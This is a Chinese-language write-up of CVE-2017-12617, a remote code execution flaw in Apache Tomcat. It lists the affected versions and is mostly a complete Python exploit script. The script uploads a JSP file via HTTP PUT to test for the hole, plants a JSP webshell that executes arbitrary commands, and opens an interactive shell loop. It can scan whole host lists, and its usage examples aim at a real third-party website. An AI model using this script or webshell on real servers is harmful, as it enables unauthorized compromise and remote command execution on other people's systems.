# （CVE-2017-12617）Tomcat RCE via JSP Upload Bypass
## 一、漏洞简介
Apache Tomcat版本9.0.0.M1至9.0.0、8.5.0至8.5.22、8.0.0.RC1至8.0.46和7.0.0至7.0.81且启用HTTP PUT时（例如，通过设置只读如果将Default servlet的初始化参数设置为false，则可以通过特制请求将JSP文件上载到服务器。然后可以请求此JSP，并且服务器将执行其中包含的所有代码。
## 二、漏洞影响
* Apache Tomcat版本9.0.0.M1至9.0.0
* Apache Tomcat版本8.5.0至8.5.22
* Apache Tomcat版本8.0.0.RC1至8.0.46
* Apache Tomcat版本7.0.0至7.0.81
## 三、复现过程
**msf自带的有利用脚本，懒省事可以直接用msf**
### poc
**useage**
```bash
./cve-2017-12617.py -u http://www.baidu.com
./cve-2017-12617.py --url http://www.baidu.com
./cve-2017-12617.py -u http://www.baidu.com -p pwn
./cve-2017-12617.py --url http://www.baidu.com -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
```
```python
#!/usr/bin/python
import requests
import re
import signal
from optparse import OptionParser
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
banner="""
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
[@intx0x80]
"""
def signal_handler(signal, frame):
print ("\033[91m"+"\n[-] Exiting"+"\033[0m")
exit()
signal.signal(signal.SIGINT, signal_handler)
def removetags(tags):
remove = re.compile('<.*?>')
txt = re.sub(remove, '\n', tags)
return txt.replace("\n\n\n","\n")
def getContent(url,f):
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
requests.packages.urllib3.disable_warnings()
re=requests.get(str(url)+"/"+str(f), headers=headers,verify=False)
return re.content
def createPayload(url,f):
evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
requests.packages.urllib3.disable_warnings()
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers,verify=False)
if req.status_code==201:
print "File Created .."
def RCE(url,f):
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>"""
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
requests.packages.urllib3.disable_warnings()
req=requests.put(str(url)+f+"/",data=EVIL, headers=headers,verify=False)
def shell(url,f):
while True:
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
cmd=raw_input("$ ")
payload={'cmd':cmd}
if cmd=="q" or cmd=="Q":
break
requests.packages.urllib3.disable_warnings()
re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers,verify=False)
re=str(re.content)
t=removetags(re)
print t
#print bcolors.HEADER+ banner+bcolors.ENDC
parse=OptionParser(
bcolors.HEADER+"""
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
./cve-2017-12617.py [options]
options:
-u ,--url [::] check target url if it's vulnerable
-p,--pwn [::] generate webshell and upload it
-l,--list [::] hosts list
[+]usage:
./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
[@intx0x80]
"""+bcolors.ENDC
)
parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
(opt,args)=parse.parse_args()
if opt.U==None and opt.P==None and opt.L==None:
print(parse.usage)
exit(0)
else:
if opt.U!=None and opt.P==None and opt.L==None:
print bcolors.OKGREEN+banner+bcolors.ENDC
url=str(opt.U)
checker="Poc.jsp"
print bcolors.BOLD +"Poc Filename {}".format(checker)
createPayload(str(url)+"/",checker)
con=getContent(str(url)+"/",checker)
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC
print bcolors.WARNING+url+"/"+checker+bcolors.ENDC
else:
print 'Not Vulnerable to CVE-2017-12617 '
elif opt.P!=None and opt.U!=None and opt.L==None:
print bcolors.OKGREEN+banner+bcolors.ENDC
pwn=str(opt.P)
url=str(opt.U)
print "Uploading Webshell ....."
pwn=pwn+".jsp"
RCE(str(url)+"/",pwn)
shell(str(url),pwn)
elif opt.L!=None and opt.P==None and opt.U==None:
print bcolors.OKGREEN+banner+bcolors.ENDC
w=str(opt.L)
f=open(w,"r")
print "Scaning hosts in {}".format(w)
checker="Poc.jsp"
for i in f.readlines():
i=i.strip("\n")
createPayload(str(i)+"/",checker)
con=getContent(str(i)+"/",checker)
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m"
```